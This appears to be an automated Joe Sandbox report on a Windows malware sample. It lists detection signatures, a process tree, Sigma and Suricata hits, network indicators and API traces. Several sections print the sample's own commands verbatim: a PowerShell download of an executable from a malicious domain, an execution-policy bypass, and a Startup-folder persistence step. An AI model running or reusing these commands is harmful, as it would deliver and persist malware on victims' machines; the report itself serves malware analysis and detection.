Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
TCKxnQ5CPn.exe

Overview

General Information

Sample name:TCKxnQ5CPn.exe
renamed because original name is a hash value
Original sample name:2a89603d2620b2a62113513709e38e95.exe
Analysis ID:1581402
MD5:2a89603d2620b2a62113513709e38e95
SHA1:e82753848fbd2e4c993661a80ad11cca2fa73b77
SHA256:b52b0e15bcdc6b45a70fbf908381b1385b1a84bf6eb2bcfc35cb684b774021f7
Tags:exeuser-abuse_ch
Infos:

Detection

Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Antivirus detection for URL or domain
Icon mismatch, binary includes an icon from a different legit application in order to fool users
Multi AV Scanner detection for submitted file
Sigma detected: Drops script at startup location
Suricata IDS alerts for network traffic
AI detected suspicious sample
Binary is likely a compiled AutoIt script file
Bypasses PowerShell execution policy
Drops PE files to the user root directory
Drops PE files with a suspicious file extension
Powershell drops PE file
Sigma detected: Execution from Suspicious Folder
Sigma detected: Execution of Powershell Script in Public Folder
Sigma detected: Parent in Public Folder Suspicious Process
Sigma detected: Script Interpreter Execution From Suspicious Folder
Sigma detected: Suspicious Invoke-WebRequest Execution
Sigma detected: WScript or CScript Dropper
Sigma detected: Windows Shell/Scripting Application File Write to Suspicious Folder
Suspicious powershell command line found
Windows Scripting host queries suspicious COM object (likely to drop second stage)
AV process strings found (often used to terminate AV products)
Contains functionality for read data from the clipboard
Contains functionality to block mouse and keyboard input (often used to hinder debugging)
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)
Contains functionality to check if a window is minimized (may be used to check if an application is visible)
Contains functionality to communicate with device drivers
Contains functionality to dynamically determine API calls
Contains functionality to execute programs as a different user
Contains functionality to launch a process as a different user
Contains functionality to launch a program with higher privileges
Contains functionality to modify clipboard data
Contains functionality to open a port and listen for incoming connection (possibly a backdoor)
Contains functionality to query CPU information (cpuid)
Contains functionality to read the clipboard data
Contains functionality to retrieve information about pressed keystrokes
Contains functionality to shutdown / reboot the system
Contains functionality to simulate keystroke presses
Contains functionality to simulate mouse events
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates a start menu entry (Start Menu\Programs\Startup)
Detected potential crypto function
Dropped file seen in connection with other malware
Drops PE files
Drops PE files to the user directory
Enables debug privileges
Extensive use of GetProcAddress (often used to hide API calls)
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found evasive API chain (date check)
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
OS version to string mapping found (often used in BOTs)
Potential key logger detected (key state polling based)
Queries the volume information (name, serial number etc) of a device
Sigma detected: Change PowerShell Policies to an Insecure Level
Sigma detected: Execution of Suspicious File Type Extension
Sigma detected: Potential Binary Or Script Dropper Via PowerShell
Sigma detected: PowerShell Web Download
Sigma detected: Usage Of Web Request Commands And Cmdlets
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Stores files to the Windows start menu directory
Suricata IDS alerts with low severity for network traffic
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

  • System is w10x64
  • TCKxnQ5CPn.exe (PID: 2748 cmdline: "C:\Users\user\Desktop\TCKxnQ5CPn.exe" MD5: 2A89603D2620B2A62113513709E38E95)
    • powershell.exe (PID: 1004 cmdline: powershell -Command "Invoke-WebRequest -Uri "https://tiffany-careers.com/ALGglt" -OutFile "C:\Users\Public\Guard.exe"" MD5: 04029E121A0CFA5991749937DD22A1D9)
      • conhost.exe (PID: 5680 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • powershell.exe (PID: 6848 cmdline: powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Public\PublicProfile.ps1" MD5: 04029E121A0CFA5991749937DD22A1D9)
      • conhost.exe (PID: 2804 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • Guard.exe (PID: 2988 cmdline: "C:\Users\Public\Guard.exe" C:\Users\Public\Secure.au3 MD5: 18CE19B57F43CE0A5AF149C96AECC685)
        • cmd.exe (PID: 5652 cmdline: cmd /k echo [InternetShortcut] > "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SwiftWrite.url" & echo URL="C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.js" >> "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SwiftWrite.url" & exit MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
          • conhost.exe (PID: 1096 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
  • wscript.exe (PID: 5048 cmdline: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)
    • SwiftWrite.pif (PID: 6832 cmdline: "C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif" "C:\Users\user\AppData\Local\WordGenius Technologies\G" MD5: 18CE19B57F43CE0A5AF149C96AECC685)
  • cleanup

Malware Configuration

⊘No configs have been found

Yara Signatures

⊘No yara matches

Sigma Signatures

System Summary

barindex
Sigma detected: Execution from Suspicious Folder
Source: Process startedAuthor: Florian Roth (Nextron Systems), Tim Shelton: Data: Command: "C:\Users\Public\Guard.exe" C:\Users\Public\Secure.au3 , CommandLine: "C:\Users\Public\Guard.exe" C:\Users\Public\Secure.au3 , CommandLine|base64offset|contains: , Image: C:\Users\Public\Guard.exe, NewProcessName: C:\Users\Public\Guard.exe, OriginalFileName: C:\Users\Public\Guard.exe, ParentCommandLine: powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Public\PublicProfile.ps1", ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 6848, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Users\Public\Guard.exe" C:\Users\Public\Secure.au3 , ProcessId: 2988, ProcessName: Guard.exe
Sigma detected: Execution of Powershell Script in Public Folder
Source: Process startedAuthor: Max Altgelt (Nextron Systems): Data: Command: powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Public\PublicProfile.ps1", CommandLine: powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Public\PublicProfile.ps1", CommandLine|base64offset|contains: L^rbs'2, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\TCKxnQ5CPn.exe", ParentImage: C:\Users\user\Desktop\TCKxnQ5CPn.exe, ParentProcessId: 2748, ParentProcessName: TCKxnQ5CPn.exe, ProcessCommandLine: powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Public\PublicProfile.ps1", ProcessId: 6848, ProcessName: powershell.exe
Sigma detected: Parent in Public Folder Suspicious Process
Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: cmd /k echo [InternetShortcut] > "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SwiftWrite.url" & echo URL="C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.js" >> "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SwiftWrite.url" & exit, CommandLine: cmd /k echo [InternetShortcut] > "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SwiftWrite.url" & echo URL="C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.js" >> "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SwiftWrite.url" & exit, CommandLine|base64offset|contains: rg, Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: "C:\Users\Public\Guard.exe" C:\Users\Public\Secure.au3 , ParentImage: C:\Users\Public\Guard.exe, ParentProcessId: 2988, ParentProcessName: Guard.exe, ProcessCommandLine: cmd /k echo [InternetShortcut] > "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SwiftWrite.url" & echo URL="C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.js" >> "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SwiftWrite.url" & exit, ProcessId: 5652, ProcessName: cmd.exe
Sigma detected: Script Interpreter Execution From Suspicious Folder
Source: Process startedAuthor: Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Public\PublicProfile.ps1", CommandLine: powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Public\PublicProfile.ps1", CommandLine|base64offset|contains: L^rbs'2, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\TCKxnQ5CPn.exe", ParentImage: C:\Users\user\Desktop\TCKxnQ5CPn.exe, ParentProcessId: 2748, ParentProcessName: TCKxnQ5CPn.exe, ProcessCommandLine: powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Public\PublicProfile.ps1", ProcessId: 6848, ProcessName: powershell.exe
Sigma detected: Suspicious Invoke-WebRequest Execution
Source: Process startedAuthor: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell -Command "Invoke-WebRequest -Uri "https://tiffany-careers.com/ALGglt" -OutFile "C:\Users\Public\Guard.exe"", CommandLine: powershell -Command "Invoke-WebRequest -Uri "https://tiffany-careers.com/ALGglt" -OutFile "C:\Users\Public\Guard.exe"", CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\TCKxnQ5CPn.exe", ParentImage: C:\Users\user\Desktop\TCKxnQ5CPn.exe, ParentProcessId: 2748, ParentProcessName: TCKxnQ5CPn.exe, ProcessCommandLine: powershell -Command "Invoke-WebRequest -Uri "https://tiffany-careers.com/ALGglt" -OutFile "C:\Users\Public\Guard.exe"", ProcessId: 1004, ProcessName: powershell.exe
Sigma detected: WScript or CScript Dropper
Source: Process startedAuthor: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.js" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.js" , CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 3504, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.js" , ProcessId: 5048, ProcessName: wscript.exe
Sigma detected: Windows Shell/Scripting Application File Write to Suspicious Folder
Source: File createdAuthor: Florian Roth (Nextron Systems): Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 1004, TargetFilename: C:\Users\Public\Guard.exe
Sigma detected: Change PowerShell Policies to an Insecure Level
Source: Process startedAuthor: frack113: Data: Command: powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Public\PublicProfile.ps1", CommandLine: powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Public\PublicProfile.ps1", CommandLine|base64offset|contains: L^rbs'2, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\TCKxnQ5CPn.exe", ParentImage: C:\Users\user\Desktop\TCKxnQ5CPn.exe, ParentProcessId: 2748, ParentProcessName: TCKxnQ5CPn.exe, ProcessCommandLine: powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Public\PublicProfile.ps1", ProcessId: 6848, ProcessName: powershell.exe
Sigma detected: Execution of Suspicious File Type Extension
Source: Process startedAuthor: Max Altgelt (Nextron Systems): Data: Command: "C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif" "C:\Users\user\AppData\Local\WordGenius Technologies\G", CommandLine: "C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif" "C:\Users\user\AppData\Local\WordGenius Technologies\G", CommandLine|base64offset|contains: , Image: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif, NewProcessName: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif, OriginalFileName: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif, ParentCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.js" , ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5048, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif" "C:\Users\user\AppData\Local\WordGenius Technologies\G", ProcessId: 6832, ProcessName: SwiftWrite.pif
Sigma detected: Potential Binary Or Script Dropper Via PowerShell
Source: File createdAuthor: frack113, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 1004, TargetFilename: C:\Users\Public\Guard.exe
Sigma detected: PowerShell Web Download
Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: powershell -Command "Invoke-WebRequest -Uri "https://tiffany-careers.com/ALGglt" -OutFile "C:\Users\Public\Guard.exe"", CommandLine: powershell -Command "Invoke-WebRequest -Uri "https://tiffany-careers.com/ALGglt" -OutFile "C:\Users\Public\Guard.exe"", CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\TCKxnQ5CPn.exe", ParentImage: C:\Users\user\Desktop\TCKxnQ5CPn.exe, ParentProcessId: 2748, ParentProcessName: TCKxnQ5CPn.exe, ProcessCommandLine: powershell -Command "Invoke-WebRequest -Uri "https://tiffany-careers.com/ALGglt" -OutFile "C:\Users\Public\Guard.exe"", ProcessId: 1004, ProcessName: powershell.exe
Sigma detected: Usage Of Web Request Commands And Cmdlets
Source: Process startedAuthor: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: powershell -Command "Invoke-WebRequest -Uri "https://tiffany-careers.com/ALGglt" -OutFile "C:\Users\Public\Guard.exe"", CommandLine: powershell -Command "Invoke-WebRequest -Uri "https://tiffany-careers.com/ALGglt" -OutFile "C:\Users\Public\Guard.exe"", CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\TCKxnQ5CPn.exe", ParentImage: C:\Users\user\Desktop\TCKxnQ5CPn.exe, ParentProcessId: 2748, ParentProcessName: TCKxnQ5CPn.exe, ProcessCommandLine: powershell -Command "Invoke-WebRequest -Uri "https://tiffany-careers.com/ALGglt" -OutFile "C:\Users\Public\Guard.exe"", ProcessId: 1004, ProcessName: powershell.exe
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Source: Process startedAuthor: Michael Haag: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.js" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.js" , CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 3504, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.js" , ProcessId: 5048, ProcessName: wscript.exe
Sigma detected: Non Interactive PowerShell Process Spawned
Source: Process startedAuthor: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell -Command "Invoke-WebRequest -Uri "https://tiffany-careers.com/ALGglt" -OutFile "C:\Users\Public\Guard.exe"", CommandLine: powershell -Command "Invoke-WebRequest -Uri "https://tiffany-careers.com/ALGglt" -OutFile "C:\Users\Public\Guard.exe"", CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\TCKxnQ5CPn.exe", ParentImage: C:\Users\user\Desktop\TCKxnQ5CPn.exe, ParentProcessId: 2748, ParentProcessName: TCKxnQ5CPn.exe, ProcessCommandLine: powershell -Command "Invoke-WebRequest -Uri "https://tiffany-careers.com/ALGglt" -OutFile "C:\Users\Public\Guard.exe"", ProcessId: 1004, ProcessName: powershell.exe

Data Obfuscation

barindex
Sigma detected: Drops script at startup location
Source: File createdAuthor: Joe Security: Data: EventID: 11, Image: C:\Windows\SysWOW64\cmd.exe, ProcessId: 5652, TargetFilename: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SwiftWrite.url

Suricata Signatures

TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
2024-12-27T15:00:50.391754+010018100032Potentially Bad Traffic147.45.49.155443192.168.2.949707TCP
TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
2024-12-27T15:00:50.134198+010018100001Potentially Bad Traffic192.168.2.949707147.45.49.155443TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

barindex
Antivirus detection for URL or domain
Source: https://tiffany-careers.com/ZxVMIVZIX.txtAvira URL Cloud: Label: malware
Source: https://tiffany-careers.com/ALGgltAvira URL Cloud: Label: malware
Multi AV Scanner detection for submitted file
Source: TCKxnQ5CPn.exeReversingLabs: Detection: 34%
AI detected suspicious sample
Source: Submited SampleIntegrated Neural Analysis Model: Matched 99.8% probability
Source: unknownHTTPS traffic detected: 147.45.49.155:443 -> 192.168.2.9:49707 version: TLS 1.2
Source: unknownHTTPS traffic detected: 147.45.49.155:443 -> 192.168.2.9:49723 version: TLS 1.2
Source: TCKxnQ5CPn.exeStatic PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Source: C:\Users\user\Desktop\TCKxnQ5CPn.exeCode function: 0_2_00007FF69DBAC7C0 lstrlenW,GetFileAttributesW,FindFirstFileW,FindClose,0_2_00007FF69DBAC7C0
Source: C:\Users\user\Desktop\TCKxnQ5CPn.exeCode function: 0_2_00007FF69DBABC70 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,0_2_00007FF69DBABC70
Source: C:\Users\user\Desktop\TCKxnQ5CPn.exeCode function: 0_2_00007FF69DBAB7C0 FindFirstFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,0_2_00007FF69DBAB7C0
Source: C:\Users\user\Desktop\TCKxnQ5CPn.exeCode function: 0_2_00007FF69DBB72A8 FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToSystemTime,0_2_00007FF69DBB72A8
Source: C:\Users\user\Desktop\TCKxnQ5CPn.exeCode function: 0_2_00007FF69DBB71F4 FindFirstFileW,FindClose,0_2_00007FF69DBB71F4
Source: C:\Users\user\Desktop\TCKxnQ5CPn.exeCode function: 0_2_00007FF69DB72F50 FindFirstFileExW,0_2_00007FF69DB72F50
Source: C:\Users\user\Desktop\TCKxnQ5CPn.exeCode function: 0_2_00007FF69DBBA874 FindFirstFileW,Sleep,FindNextFileW,FindClose,0_2_00007FF69DBBA874
Source: C:\Users\user\Desktop\TCKxnQ5CPn.exeCode function: 0_2_00007FF69DBBA4F8 FindFirstFileW,FindNextFileW,FindClose,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,0_2_00007FF69DBBA4F8
Source: C:\Users\user\Desktop\TCKxnQ5CPn.exeCode function: 0_2_00007FF69DBB6428 FindFirstFileW,FindNextFileW,FindClose,0_2_00007FF69DBB6428
Source: C:\Users\user\Desktop\TCKxnQ5CPn.exeCode function: 0_2_00007FF69DBBA350 FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,0_2_00007FF69DBBA350
Source: C:\Users\Public\Guard.exeCode function: 6_2_00194005 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,6_2_00194005
Source: C:\Users\Public\Guard.exeCode function: 6_2_0019494A GetFileAttributesW,FindFirstFileW,FindClose,6_2_0019494A
Source: C:\Users\Public\Guard.exeCode function: 6_2_0019C2FF FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,6_2_0019C2FF
Source: C:\Users\Public\Guard.exeCode function: 6_2_0019CD14 FindFirstFileW,FindClose,6_2_0019CD14
Source: C:\Users\Public\Guard.exeCode function: 6_2_0019CD9F FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,6_2_0019CD9F
Source: C:\Users\Public\Guard.exeCode function: 6_2_0019F5D8 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,6_2_0019F5D8
Source: C:\Users\Public\Guard.exeCode function: 6_2_0019F735 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,6_2_0019F735
Source: C:\Users\Public\Guard.exeCode function: 6_2_0019FA36 FindFirstFileW,Sleep,_wcscmp,_wcscmp,FindNextFileW,FindClose,6_2_0019FA36
Source: C:\Users\Public\Guard.exeCode function: 6_2_00193CE2 FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,6_2_00193CE2
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 13_2_00924005 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,13_2_00924005
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 13_2_0092494A GetFileAttributesW,FindFirstFileW,FindClose,13_2_0092494A
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 13_2_0092C2FF FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,13_2_0092C2FF
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 13_2_0092CD9F FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,13_2_0092CD9F
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 13_2_0092CD14 FindFirstFileW,FindClose,13_2_0092CD14
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 13_2_0092F5D8 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,13_2_0092F5D8
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 13_2_0092F735 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,13_2_0092F735
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 13_2_0092FA36 FindFirstFileW,Sleep,_wcscmp,_wcscmp,FindNextFileW,FindClose,13_2_0092FA36
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 13_2_00923CE2 FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,13_2_00923CE2

Networking

barindex
Suricata IDS alerts for network traffic
Source: Network trafficSuricata IDS: 1810000 - Severity 1 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.9:49707 -> 147.45.49.155:443
Source: global trafficHTTP traffic detected: GET /ZxVMIVZIX.txt HTTP/1.1Host: tiffany-careers.comConnection: Keep-Alive
Source: Joe Sandbox ViewIP Address: 147.45.49.155 147.45.49.155
Source: Joe Sandbox ViewJA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
Source: Network trafficSuricata IDS: 1810003 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP PE File Download : 147.45.49.155:443 -> 192.168.2.9:49707
Source: global trafficHTTP traffic detected: GET /ALGglt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: tiffany-careers.comConnection: Keep-Alive
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: C:\Users\user\Desktop\TCKxnQ5CPn.exeCode function: 0_2_00007FF69DBBE968 InternetQueryDataAvailable,InternetReadFile,0_2_00007FF69DBBE968
Source: global trafficHTTP traffic detected: GET /ALGglt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: tiffany-careers.comConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /ZxVMIVZIX.txt HTTP/1.1Host: tiffany-careers.comConnection: Keep-Alive
Source: global trafficDNS traffic detected: DNS query: tiffany-careers.com
Source: global trafficDNS traffic detected: DNS query: nbhkmKSQnaDrIkubbvvLMhHdgigs.nbhkmKSQnaDrIkubbvvLMhHdgigs
Source: Guard.exe, 00000006.00000003.1474744232.0000000005206000.00000004.00000020.00020000.00000000.sdmp, Guard.exe, 00000006.00000002.2585543435.0000000004342000.00000004.00000020.00020000.00000000.sdmp, SwiftWrite.pif.6.dr, Guard.exe.2.drString found in binary or memory: http://crl.globalsign.com/gs/gstimestampingsha2g2.crl0
Source: Guard.exe, 00000006.00000003.1474744232.0000000005206000.00000004.00000020.00020000.00000000.sdmp, Guard.exe, 00000006.00000002.2585543435.0000000004342000.00000004.00000020.00020000.00000000.sdmp, SwiftWrite.pif.6.dr, Guard.exe.2.drString found in binary or memory: http://crl.globalsign.com/gscodesignsha2g3.crl0
Source: Guard.exe, 00000006.00000003.1474744232.0000000005206000.00000004.00000020.00020000.00000000.sdmp, Guard.exe, 00000006.00000002.2585543435.0000000004342000.00000004.00000020.00020000.00000000.sdmp, SwiftWrite.pif.6.dr, Guard.exe.2.drString found in binary or memory: http://crl.globalsign.com/root-r3.crl0c
Source: Guard.exe, 00000006.00000003.1474744232.0000000005206000.00000004.00000020.00020000.00000000.sdmp, Guard.exe, 00000006.00000002.2585543435.0000000004342000.00000004.00000020.00020000.00000000.sdmp, SwiftWrite.pif.6.dr, Guard.exe.2.drString found in binary or memory: http://crl.globalsign.net/root-r3.crl0
Source: powershell.exe, 00000004.00000002.1461161914.00000278C4E1C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1479399165.00000278D349D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://nuget.org/NuGet.exe
